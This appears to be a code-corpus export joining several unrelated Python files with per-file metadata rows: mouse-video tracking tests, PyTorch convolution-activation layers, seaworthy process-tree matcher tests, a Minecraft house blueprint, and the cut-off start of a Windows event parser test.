mouse_video_mog = MouseVideo(self.test_video_mock_up, bkg_method='MOG')
coords = mouse_video_mog.track_mouse()
def gen():
return random.randint(0, mouse_video_mog.num_frames-1)
indices = [gen() for i in range(10)]
for index in [94]: # range(self.mouse_video.num_frames):
cX, cY = coords[index]
print('index = ', index)
print('x an y', cX, ', ', cY)
frame, roi =mouse_video_mog.calculate_roi(index, cX, cY, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index} \n method MOG and roi {roi}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_track_mouse_TH_plotting_crop(self):
method = 'TH'
coords = self.mouse_video.track_mouse()
def gen():
return random.randint(0, self.mouse_video.num_frames-1)
indices = [gen() for i in range(10)]
for index in [94]: # range(self.mouse_video.num_frames):
print(index)
cX, cY = coords[index]
frame, roi =self.mouse_video.calculate_roi(index, cX, cY, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index} \n method TH and roi {roi}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_calculate_roi(self):
method = self.mouse_video._bkg_method
N,M,_ = self.mouse_video.frames[0].shape
# coords = [(0,0),(10,10),(N-1,M-1), (N-1-100, M-1-100)]
coords = [(0, 0), (10, 10), (N//2, M//2), (N - 1, M - 1), (N - 1 - 10, M - 1 - 10)]
for cX, cY in coords:
frame, roi = self.mouse_video.calculate_roi(0, cX, cY, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'EVEN: this is the frame from the index {0} \n method TH and roi {roi}')
plt.show()
mouse_video_odd = MouseVideo(self.test_video_mock_up, roi_dims=(261, 261))
N, M, _ = self.mouse_video.frames[0].shape
for cX, cY in coords:
frame, roi = mouse_video_odd.calculate_roi(0, cX, cY, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'ODD: this is the frame from the index {0} \n method TH and roi {roi}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
class TestMouseVideoMIT(TestCase):
def setUp(self) -> None:
self.test_video_mock_up = 'resources/mitmouse.mp4'
if not os.path.exists(self.test_video_mock_up):
self.test_video_mock_up = str(Path(os.path.join("..", self.test_video_mock_up)).resolve())
print('path exists: ', os.path.exists(self.test_video_mock_up))
self.mouse_video = MouseVideo(self.test_video_mock_up, bkg_method='MOG', roi_dims=(120,120))
def test_detect_mouse(self):
def gen():
return random.randint(0, self.mouse_video.num_frames - 1)
indices = [gen() for i in range(10)]
print('indices: ', indices)
for index in range(self.mouse_video.num_frames):
try:
frame, roi = self.mouse_video.detect_mouse(index, plot=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index} and roi{roi}')
plt.show()
except ValueError as e:
print('Expected error at (test_detect_mouse) ', e)
def test_detect_mouse_and_crop(self):
def gen():
return random.randint(0, self.mouse_video.num_frames - 1)
indices = [gen() for i in range(10)]
for index in range(self.mouse_video.num_frames):
try:
frame, roi = self.mouse_video.detect_mouse(index, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index}')
plt.show()
except ValueError as e:
print('Expected error at (test_detect_mouse_and_crop) ', e)
def test_get_no_background(self):
method = self.mouse_video._bkg_method
self.mouse_video._bkg_method = 'MOG'
self.mouse_video.frames_no_bkg = None
index = 10
frame = self.mouse_video.frames_no_bkg[index]
plt.imshow(frame)
plt.title(f'this is the frame from the index {index}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_get_no_background_TH(self):
method = self.mouse_video._bkg_method
self.mouse_video._bkg_method = 'TH'
self.mouse_video.frames_no_bkg = None
def gen():
return random.randint(0, self.mouse_video.num_frames-1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
frame = self.mouse_video.frames_no_bkg[index]
plt.imshow(frame)
plt.title(f'this is the frame from the index {index}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_remove_darkchannel(self):
blackchannel_imgs = self.mouse_video.remove_darkchannel()
def gen():
return random.randint(0, self.mouse_video.num_frames-1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
frame = blackchannel_imgs[index] # self.mouse_video.frames_no_bkg[index]
plt.imshow(frame)
plt.title(f'this is the frame from the index {index}')
plt.show()
def test_track_mouse(self):
self.mouse_video.frames_no_bkg = None
coords = self.mouse_video.track_mouse()
print(coords)
plt.plot(coords)
plt.show()
def test_track_mouse_MOG(self):
mouse_video_mog = MouseVideo(self.test_video_mock_up, bkg_method='MOG')
coords = mouse_video_mog.track_mouse()
print(coords)
plt.plot(coords)
plt.show()
def test_track_mouse_MOG_plotting(self):
method = 'TH'
mouse_video_mog = self.mouse_video
coords = mouse_video_mog.track_mouse()
def gen():
return random.randint(0, self.mouse_video.num_frames-1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
cX, cY = coords[index]
frame, roi =mouse_video_mog.calculate_roi(index, cX, cY, plot=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index} \n method MOG and roi {roi}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_track_mouse_large_ROI(self):
method = 'TH'
mouse_video_mog = MouseVideo(self.test_video_mock_up, bkg_method='MOG')
coords = mouse_video_mog.track_mouse()
def gen():
return random.randint(0, mouse_video_mog.num_frames-1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
cX, cY = coords[index]
print('index = ', index)
print('x an y', cX, ', ', cY)
frame, roi =mouse_video_mog.calculate_roi(index, cX, cY, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index} \n method MOG and roi {roi}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_track_mouse_small_ROI(self):
coords = self.mouse_video.track_mouse()
method = self.mouse_video._bkg_method
def gen():
return random.randint(0, self.mouse_video.num_frames-1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
print(index)
cX, cY = coords[index]
frame, roi =self.mouse_video.calculate_roi(index, cX, cY, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index} \n method TH and roi {roi}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_calculate_roi(self):
method = self.mouse_video._bkg_method
YY, XX, _ = self.mouse_video.frames[0].shape
print('_, N,M', _, XX, YY)
# coords = [(0,0),(10,10),(N-1,M-1), (N-1-100, M-1-100)]
coords = [(0, 0), (10, 10), (XX//2, YY//2), (XX - 1, YY - 1), (XX - 1 - 10, YY - 1 - 10)]
print('Coords: ', coords)
for cX, cY in coords:
frame, roi = self.mouse_video.calculate_roi(0, cX, cY, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'EVEN: this is the frame from the index {0} \n method TH and roi {roi}')
plt.show()
mouse_video_odd = MouseVideo(self.test_video_mock_up, roi_dims=(261, 261))
N, M, _ = self.mouse_video.frames[0].shape
for cX, cY in coords:
frame, roi = mouse_video_odd.calculate_roi(0, cX, cY, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'ODD: this is the frame from the index {0} \n method TH and roi {roi}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
| 38.508728
| 102
| 0.608535
| 2,193
| 15,442
| 4.067031
| 0.05244
| 0.14015
| 0.161677
| 0.057181
| 0.958628
| 0.948537
| 0.940352
| 0.930485
| 0.922525
| 0.920058
| 0
| 0.015766
| 0.281181
| 15,442
| 400
| 103
| 38.605
| 0.787748
| 0.046561
| 0
| 0.902208
| 0
| 0.012618
| 0.104354
| 0.006054
| 0
| 0
| 0
| 0
| 0
| 1
| 0.132492
| false
| 0.003155
| 0.018927
| 0.050473
| 0.208202
| 0.059937
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
15c2345aa301239b5500386aac99d62cb418c703
| 12,304
|
py
|
Python
|
src/onevision/nn/layer/conv_act.py
|
phlong3105/onevision
|
90552b64df7213e7fbe23c80ffd8a89583289433
|
[
"MIT"
] | 2
|
2022-03-28T09:46:38.000Z
|
2022-03-28T14:12:32.000Z
|
src/onevision/nn/layer/conv_act.py
|
phlong3105/onevision
|
90552b64df7213e7fbe23c80ffd8a89583289433
|
[
"MIT"
] | null | null | null |
src/onevision/nn/layer/conv_act.py
|
phlong3105/onevision
|
90552b64df7213e7fbe23c80ffd8a89583289433
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Convolution + Activation Layer.
"""
from __future__ import annotations
from typing import Any
from typing import Optional
from typing import Union
from torch import nn
from onevision.factory import CONV_ACT_LAYERS
from onevision.nn.layer.act import create_act_layer
from onevision.nn.layer.padding import autopad
from onevision.type import Callable
from onevision.type import Int2T
from onevision.type import Padding4T
from onevision.type import to_2tuple
__all__ = [
"ConvAct2d",
"ConvMish2d",
"ConvReLU2d",
"ConvSigmoid2d",
"ConvTransposeAct2d",
"ConvAct",
"ConvMish",
"ConvReLU",
"ConvSigmoid",
"ConvTransposeAct",
]
# MARK: - Modules
@CONV_ACT_LAYERS.register(name="conv_act2d")
class ConvAct2d(nn.Sequential):
"""Conv2d + Act.
Args:
in_channels (int):
Number of channels in the input image.
out_channels (int):
Number of channels produced by the convolution.
kernel_size (Int2T):
Size of the convolving kernel.
stride (Int2T):
Stride of the convolution. Default: `(1, 1)`.
padding (Padding4T, optional):
Zero-padding added to both sides of the input. Default: `None`.
groups (int):
Default: `1`.
apply_act (bool):
Should use activation layer. Default: `True`.
act_layer (nn.Module, str, optional):
Activation layer or the name to build the activation layer.
inplace (bool):
Perform in-place activation. Default: `True`.
"""
# MARK: Magic Functions
def __init__(
self,
in_channels : int,
out_channels: int,
kernel_size : Int2T,
stride : Int2T = (1, 1),
padding : Optional[Padding4T] = None,
dilation : Int2T = (1, 1),
groups : int = 1,
bias : bool = False,
padding_mode: str = "zeros",
device : Any = None,
dtype : Any = None,
apply_act : bool = True,
act_layer : Union[Callable] = nn.ReLU,
inplace : bool = True,
**_
):
super().__init__()
act_layer = create_act_layer(apply_act, act_layer, inplace)
kernel_size = to_2tuple(kernel_size)
stride = to_2tuple(stride)
self.add_module(
"conv", nn.Conv2d(
in_channels = in_channels,
out_channels = out_channels,
kernel_size = kernel_size,
stride = stride,
padding = autopad(kernel_size, padding),
dilation = dilation,
groups = groups,
bias = bias,
padding_mode = padding_mode,
device = device,
dtype = dtype,
)
)
self.add_module("act", act_layer)
@CONV_ACT_LAYERS.register(name="conv_transposed_act2d")
class ConvTransposeAct2d(nn.Sequential):
"""ConvTranspose2d + Act.
Args:
in_channels (int):
Number of channels in the input image.
out_channels (int):
Number of channels produced by the convolution.
kernel_size (Int2T):
Size of the convolving kernel.
stride (Int2T):
Stride of the convolution. Default: `(1, 1)`.
padding (Padding4T, optional):
Zero-padding added to both sides of the input. Default: `None`.
groups (int):
Default: `1`.
apply_act (bool):
Should use activation layer. Default: `True`.
act_layer (nn.Module, str, optional):
Activation layer or the name to build the activation layer.
inplace (bool):
Perform in-place activation. Default: `True`.
"""
# MARK: Magic Functions
def __init__(
self,
in_channels : int,
out_channels: int,
kernel_size : Int2T,
stride : Int2T = (1, 1),
padding : Optional[Padding4T] = None,
dilation : Int2T = (1, 1),
groups : int = 1,
bias : bool = False,
padding_mode: str = "zeros",
device : Any = None,
dtype : Any = None,
apply_act : bool = True,
act_layer : Union[Callable] = nn.ReLU,
inplace : bool = True,
**_
):
super().__init__()
act_layer = create_act_layer(apply_act, act_layer, inplace)
kernel_size = to_2tuple(kernel_size)
stride = to_2tuple(stride)
self.add_module(
"deconv", nn.ConvTranspose2d(
in_channels = in_channels,
out_channels = out_channels,
kernel_size = kernel_size,
stride = stride,
padding = autopad(kernel_size, padding),
dilation = dilation,
groups = groups,
bias = bias,
padding_mode = padding_mode,
device = device,
dtype = dtype,
)
)
self.add_module("act", act_layer)
@CONV_ACT_LAYERS.register(name="conv_mish2d")
class ConvMish2d(nn.Sequential):
"""Conv2d + Mish.
Args:
in_channels (int):
Number of channels in the input image.
out_channels (int):
Number of channels produced by the convolution.
kernel_size (Int2T):
Size of the convolving kernel.
stride (Int2T):
Stride of the convolution. Default: `(1, 1)`.
padding (Padding4T, optional):
Zero-padding added to both sides of the input. Default: `None`.
groups (int):
Default: `1`.
apply_act (bool):
Should use activation layer. Default: `True`.
"""
# MARK: Magic Functions
def __init__(
self,
in_channels : int,
out_channels: int,
kernel_size : Int2T,
stride : Int2T = (1, 1),
padding : Optional[Padding4T] = None,
dilation : Int2T = (1, 1),
groups : int = 1,
bias : bool = False,
padding_mode: str = "zeros",
device : Any = None,
dtype : Any = None,
apply_act : bool = True,
**_
):
super().__init__()
kernel_size = to_2tuple(kernel_size)
stride = to_2tuple(stride)
self.add_module(
"conv", nn.Conv2d(
in_channels = in_channels,
out_channels = out_channels,
kernel_size = kernel_size,
stride = stride,
padding = autopad(kernel_size, padding),
dilation = dilation,
groups = groups,
bias = bias,
padding_mode = padding_mode,
device = device,
dtype = dtype,
)
)
self.add_module("act", nn.Mish() if apply_act else nn.Identity())
@CONV_ACT_LAYERS.register(name="conv_relu2d")
class ConvReLU2d(nn.Sequential):
"""Conv2d + ReLU.
Args:
in_channels (int):
Number of channels in the input image.
out_channels (int):
Number of channels produced by the convolution.
kernel_size (Int2T):
Size of the convolving kernel.
stride (Int2T):
Stride of the convolution. Default: `(1, 1)`.
padding (Padding4T, optional):
Zero-padding added to both sides of the input. Default: `0`.
padding_mode (str):
Default: `zeros`.
apply_act (bool):
Should use activation layer. Default: `True`.
"""
# MARK: Magic Functions
def __init__(
self,
in_channels : int,
out_channels: int,
kernel_size : Int2T,
stride : Int2T = (1, 1),
padding : Optional[Padding4T] = 0,
dilation : Int2T = (1, 1),
groups : int = 1,
bias : bool = False,
padding_mode: str = "zeros",
device : Any = None,
dtype : Any = None,
apply_act : bool = True,
**_
):
super().__init__()
kernel_size = to_2tuple(kernel_size)
stride = to_2tuple(stride)
self.add_module(
"conv", nn.Conv2d(
in_channels = in_channels,
out_channels = out_channels,
kernel_size = kernel_size,
stride = stride,
padding = padding,
dilation = dilation,
groups = groups,
bias = bias,
padding_mode = padding_mode,
device = device,
dtype = dtype,
)
)
self.add_module(
"relu", nn.ReLU(inplace=True) if apply_act else nn.Identity()
)
@CONV_ACT_LAYERS.register(name="conv_sigmoid2d")
class ConvSigmoid2d(nn.Sequential):
"""Conv2d + Sigmoid.
Args:
in_channels (int):
Number of channels in the input image.
out_channels (int):
Number of channels produced by the convolution.
kernel_size (Int2T):
Size of the convolving kernel. Default: `(1, 1)`.
stride (Int2T):
Stride of the convolution. Default: `(1, 1)`.
padding (Padding4T, optional):
Zero-padding added to both sides of the input. Default: `None`.
groups (int):
Default: `1`.
apply_act (bool):
Should use activation layer. Default: `True`.
"""
# MARK: Magic Functions
def __init__(
self,
in_channels : int,
out_channels: int,
kernel_size : Int2T,
stride : Int2T = (1, 1),
padding : Optional[Padding4T] = None,
dilation : Int2T = (1, 1),
groups : int = 1,
bias : bool = False,
padding_mode: str = "zeros",
device : Any = None,
dtype : Any = None,
apply_act : bool = True,
**_
):
super().__init__()
kernel_size = to_2tuple(kernel_size)
stride = to_2tuple(stride)
self.add_module(
"conv", nn.Conv2d(
in_channels = in_channels,
out_channels = out_channels,
kernel_size = kernel_size,
stride = stride,
padding = autopad(kernel_size, padding),
dilation = dilation,
groups = groups,
bias = bias,
padding_mode = padding_mode,
device = device,
dtype = dtype,
)
)
self.add_module("sigmoid", nn.Sigmoid() if apply_act else nn.Identity())
# MARK: - Alias
ConvAct = ConvAct2d
ConvTransposeAct = ConvTransposeAct2d
ConvMish = ConvMish2d
ConvReLU = ConvReLU2d
ConvSigmoid = ConvSigmoid2d
# MARK: - Register
CONV_ACT_LAYERS.register(name="conv_act", module=ConvAct)
CONV_ACT_LAYERS.register(name="conv_transposed_act", module=ConvTransposeAct)
CONV_ACT_LAYERS.register(name="conv_mish", module=ConvMish)
CONV_ACT_LAYERS.register(name="conv_relu", module=ConvReLU)
CONV_ACT_LAYERS.register(name="conv_sigmoid", module=ConvSigmoid)
| 33.16442
| 80
| 0.499675
| 1,165
| 12,304
| 5.080687
| 0.100429
| 0.057442
| 0.024159
| 0.035479
| 0.815509
| 0.815509
| 0.786957
| 0.778679
| 0.778679
| 0.778679
| 0
| 0.016942
| 0.414743
| 12,304
| 370
| 81
| 33.254054
| 0.805027
| 0.268205
| 0
| 0.731278
| 0
| 0
| 0.034976
| 0.00244
| 0
| 0
| 0
| 0
| 0
| 1
| 0.022026
| false
| 0
| 0.052863
| 0
| 0.096916
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c64cc1bb6cd6a520e386a40e61dbff75e123b396
| 8,640
|
py
|
Python
|
seaworthy/tests-testtools/test_testtools.py
|
praekeltfoundation/seaworthy
|
6f10a19b45d4ea1dc3bd0553cc4d0438696c079c
|
[
"BSD-3-Clause"
] | 31
|
2017-11-21T12:21:31.000Z
|
2021-11-16T11:50:42.000Z
|
seaworthy/tests-testtools/test_testtools.py
|
praekeltfoundation/seaworthy
|
6f10a19b45d4ea1dc3bd0553cc4d0438696c079c
|
[
"BSD-3-Clause"
] | 91
|
2017-08-16T14:24:52.000Z
|
2020-01-16T10:13:52.000Z
|
seaworthy/tests-testtools/test_testtools.py
|
praekeltfoundation/seaworthy
|
6f10a19b45d4ea1dc3bd0553cc4d0438696c079c
|
[
"BSD-3-Clause"
] | 3
|
2018-10-13T07:56:02.000Z
|
2019-02-14T12:29:53.000Z
|
import unittest
from testtools.assertions import assert_that
from testtools.matchers import Not
from seaworthy.ps import PsRow, PsTree
from seaworthy.testtools import MatchesPsTree
class TestMatchesPsTree(unittest.TestCase):
def test_minimal_tree_matches(self):
"""
MatchesPsTree can match a single-process tree.
"""
ps_tree = PsTree(PsRow(1, 0, 'root', 'tini -- echo "hi"'))
matcher = MatchesPsTree('root', 'tini -- echo "hi"')
assert matcher.match(ps_tree) is None
matcher = MatchesPsTree('root', 'tini -- echo "hi"', 1)
assert matcher.match(ps_tree) is None
matcher = MatchesPsTree('root', 'tini -- echo "hi"', ppid=0)
assert matcher.match(ps_tree) is None
matcher = MatchesPsTree('root', 'tini -- echo "hi"', 1, 0)
assert matcher.match(ps_tree) is None
matcher = MatchesPsTree('root', 'tini -- echo "hi"', 1, 0, children=[])
assert matcher.match(ps_tree) is None
def test_minimal_tree_mismatches(self):
"""
MatchesPsTree can detect a non-matching single-process tree.
"""
ps_tree = PsTree(PsRow(1, 0, 'root', 'tini -- true'))
matcher = MatchesPsTree('tuber', 'tini -- true')
mismatch = matcher.match(ps_tree)
assert "'root' != 'tuber': ruser" in mismatch.describe()
matcher = MatchesPsTree('root', 'tini -- false')
mismatch = matcher.match(ps_tree)
assert "'tini -- true' != 'tini -- false': args" in mismatch.describe()
matcher = MatchesPsTree('tuber', 'tini -- true', pid=7)
mismatch = matcher.match(ps_tree)
assert "1 != 7: pid" in mismatch.describe()
matcher = MatchesPsTree('tuber', 'tini -- true', ppid=7)
mismatch = matcher.match(ps_tree)
assert "0 != 7: ppid" in mismatch.describe()
def test_nested_tree_matches(self):
"""
MatchesPsTree can match a multi-process tree.
"""
ps_tree = PsTree(PsRow(1, 0, 'root', 'tini -- app'), [
PsTree(PsRow(2, 1, 'root', 'app --arg'), [
PsTree(PsRow(3, 2, 'appuser', 'app --child1')),
PsTree(PsRow(4, 2, 'appuser', 'app --child2')),
]),
PsTree(PsRow(5, 1, 'root', 'app2 --arg'), [
PsTree(PsRow(6, 5, 'root', 'app2 --child')),
]),
])
# Check children in the same order.
matcher = MatchesPsTree('root', 'tini -- app', pid=1, children=[
MatchesPsTree('root', 'app --arg', children=[
MatchesPsTree('appuser', 'app --child1'),
MatchesPsTree('appuser', 'app --child2'),
]),
MatchesPsTree('root', 'app2 --arg', children=[
MatchesPsTree('root', 'app2 --child'),
]),
])
assert matcher.match(ps_tree) is None
# Check children in a different order.
matcher = MatchesPsTree('root', 'tini -- app', pid=1, children=[
MatchesPsTree('root', 'app --arg', children=[
MatchesPsTree('appuser', 'app --child2'),
MatchesPsTree('appuser', 'app --child1'),
]),
MatchesPsTree('root', 'app2 --arg', children=[
MatchesPsTree('root', 'app2 --child'),
]),
])
assert matcher.match(ps_tree) is None
# Check different children in a different order.
matcher = MatchesPsTree('root', 'tini -- app', pid=1, children=[
MatchesPsTree('root', 'app2 --arg', children=[
MatchesPsTree('root', 'app2 --child'),
]),
MatchesPsTree('root', 'app --arg', children=[
MatchesPsTree('appuser', 'app --child1'),
MatchesPsTree('appuser', 'app --child2'),
]),
])
assert matcher.match(ps_tree) is None
def test_nested_tree_missing_child(self):
"""
MatchesPsTree can detect a missing child process.
"""
ps_tree = PsTree(PsRow(1, 0, 'root', 'tini -- app'), [
PsTree(PsRow(2, 1, 'root', 'app --arg'), [
PsTree(PsRow(3, 2, 'appuser', 'app --child1')),
]),
PsTree(PsRow(5, 1, 'root', 'app2 --arg'), [
PsTree(PsRow(6, 5, 'root', 'app2 --child')),
]),
])
matcher = MatchesPsTree('root', 'tini -- app', pid=1, children=[
MatchesPsTree('root', 'app --arg', children=[
MatchesPsTree('appuser', 'app --child1'),
MatchesPsTree('appuser', 'app --child2'),
]),
MatchesPsTree('root', 'app2 --arg', children=[
MatchesPsTree('root', 'app2 --child'),
]),
])
mm = matcher.match(ps_tree).describe()
assert "mismatches in children:" in mm
assert "There was 1 matcher left over:" in mm
def test_nested_tree_extra_child(self):
"""
MatchesPsTree can detect an extra child process.
"""
ps_tree = PsTree(PsRow(1, 0, 'root', 'tini -- app'), [
PsTree(PsRow(2, 1, 'root', 'app --arg'), [
PsTree(PsRow(3, 2, 'appuser', 'app --child1')),
PsTree(PsRow(4, 2, 'appuser', 'app --child3')),
PsTree(PsRow(7, 2, 'appuser', 'app --child2')),
]),
PsTree(PsRow(5, 1, 'root', 'app2 --arg'), [
PsTree(PsRow(6, 5, 'root', 'app2 --child')),
]),
])
matcher = MatchesPsTree('root', 'tini -- app', pid=1, children=[
MatchesPsTree('root', 'app --arg', children=[
MatchesPsTree('appuser', 'app --child1'),
MatchesPsTree('appuser', 'app --child2'),
]),
MatchesPsTree('root', 'app2 --arg', children=[
MatchesPsTree('root', 'app2 --child'),
]),
])
mm = matcher.match(ps_tree).describe()
assert "mismatches in children:" in mm
assert "There was 1 value left over:" in mm
def test_nested_tree_different_child(self):
"""
MatchesPsTree can detect a child process that is different.
"""
ps_tree = PsTree(PsRow(1, 0, 'root', 'tini -- app'), [
PsTree(PsRow(2, 1, 'root', 'app --arg'), [
PsTree(PsRow(3, 2, 'appuser', 'app --child1')),
PsTree(PsRow(4, 2, 'appuser', 'app --child3')),
]),
PsTree(PsRow(5, 1, 'root', 'app2 --arg'), [
PsTree(PsRow(6, 5, 'root', 'app2 --child')),
]),
])
matcher = MatchesPsTree('root', 'tini -- app', pid=1, children=[
MatchesPsTree('root', 'app --arg', children=[
MatchesPsTree('appuser', 'app --child1'),
MatchesPsTree('appuser', 'app --child2'),
]),
MatchesPsTree('root', 'app2 --arg', children=[
MatchesPsTree('root', 'app2 --child'),
]),
])
mm = matcher.match(ps_tree).describe()
assert "mismatches in children:" in mm
assert "'app --child3' != 'app --child2': args" in mm
def test_using_assert_that(self):
"""
MatchesPsTree can be used with assert_that() from testtools.
"""
pst = PsTree(PsRow(1, 0, 'root', 'tini -- app'), [
PsTree(PsRow(2, 1, 'root', 'app --arg'), [
PsTree(PsRow(3, 2, 'appuser', 'app --child1')),
PsTree(PsRow(4, 2, 'appuser', 'app --child2')),
]),
PsTree(PsRow(5, 1, 'root', 'app2 --arg'), [
PsTree(PsRow(6, 5, 'root', 'app2 --child')),
]),
])
# This passes if the MatchesPsTree matcher matches.
assert_that(pst, MatchesPsTree('root', 'tini -- app', children=[
MatchesPsTree('root', 'app --arg', children=[
MatchesPsTree('appuser', 'app --child1'),
MatchesPsTree('appuser', 'app --child2'),
]),
MatchesPsTree('root', 'app2 --arg', children=[
MatchesPsTree('root', 'app2 --child'),
]),
]))
# This passes if the MatchesPsTree matcher does not match.
assert_that(pst, Not(MatchesPsTree('root', 'tini -- app', children=[
MatchesPsTree('root', 'app --arg', children=[
MatchesPsTree('appuser', 'app --child1'),
]),
MatchesPsTree('root', 'app2 --arg', children=[
MatchesPsTree('root', 'app2 --child'),
MatchesPsTree('appuser', 'app --child2'),
]),
])))
| 39.272727
| 79
| 0.512963
| 872
| 8,640
| 5.026376
| 0.104358
| 0.147388
| 0.091262
| 0.061602
| 0.852156
| 0.821355
| 0.784394
| 0.752453
| 0.715948
| 0.683094
| 0
| 0.023533
| 0.321296
| 8,640
| 219
| 80
| 39.452055
| 0.723909
| 0.069329
| 0
| 0.777108
| 0
| 0
| 0.217016
| 0
| 0
| 0
| 0
| 0
| 0.13253
| 1
| 0.042169
| false
| 0
| 0.03012
| 0
| 0.078313
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d6678832d9619c74b2e87389828ac9fac29e630a
| 1,473
|
py
|
Python
|
stock-filters/TempHouse.py
|
Sebastianchr22/Minecraft-Settlement-Generation
|
5c902595b47c3c75c96485b29c4e76a07470a431
|
[
"0BSD"
] | null | null | null |
stock-filters/TempHouse.py
|
Sebastianchr22/Minecraft-Settlement-Generation
|
5c902595b47c3c75c96485b29c4e76a07470a431
|
[
"0BSD"
] | null | null | null |
stock-filters/TempHouse.py
|
Sebastianchr22/Minecraft-Settlement-Generation
|
5c902595b47c3c75c96485b29c4e76a07470a431
|
[
"0BSD"
] | null | null | null |
block = (22,0)
empty = (0,0)
class TempHouse: #inheritance
blueprint = [
[
[block, block, block, block, block],
[block, block, block, block, block],
[block, block, block, block, block],
[block, block, block, block, block],
[block, block, block, block, block]
],
[
[block, block, block, block, block],
[block, empty, empty, empty, block],
[block, empty, empty, empty, block],
[block, empty, empty, empty, block],
[block, block, block, block, block]
],
[
[block, block, block, block, block],
[block, empty, empty, empty, block],
[block, empty, empty, empty, block],
[block, empty, empty, empty, block],
[block, block, block, block, block]
],
[
[block, block, block, block, block],
[block, empty, empty, empty, block],
[block, empty, empty, empty, block],
[block, empty, empty, empty, block],
[block, block, block, block, block]
],
[
[block, block, block, block, block],
[block, block, block, block, block],
[block, block, block, block, block],
[block, block, block, block, block],
[block, block, block, block, block]
]
]
def get_blueprint(self):
return self.blueprint
| 32.021739
| 48
| 0.484046
| 142
| 1,473
| 5.014085
| 0.084507
| 1.235955
| 1.643258
| 2.078652
| 0.877809
| 0.877809
| 0.877809
| 0.877809
| 0.877809
| 0.877809
| 0
| 0.00547
| 0.379498
| 1,473
| 45
| 49
| 32.733333
| 0.773523
| 0.007468
| 0
| 0.690476
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.02381
| false
| 0
| 0
| 0.02381
| 0.095238
| 0.071429
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
d66c0bfbba6a74d9572e08f930a35b96ef9cc885
| 80,401
|
py
|
Python
|
python/clx/tests/test_windows_event_parser.py
|
mdemoret-nv/clx
|
3737706187d8f5720561e10b85cbd638c77b9267
|
[
"Apache-2.0"
] | 143
|
2019-11-06T16:08:50.000Z
|
2022-03-22T12:14:59.000Z
|
python/clx/tests/test_windows_event_parser.py
|
mdemoret-nv/clx
|
3737706187d8f5720561e10b85cbd638c77b9267
|
[
"Apache-2.0"
] | 361
|
2019-11-06T20:33:24.000Z
|
2022-03-31T19:59:12.000Z
|
python/clx/tests/test_windows_event_parser.py
|
mdemoret-nv/clx
|
3737706187d8f5720561e10b85cbd638c77b9267
|
[
"Apache-2.0"
] | 82
|
2019-11-06T17:36:42.000Z
|
2022-03-17T07:03:04.000Z
|
# Copyright (c) 2019, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import cudf
import pytest
from clx.parsers.windows_event_parser import WindowsEventParser
TEST_DATA = [
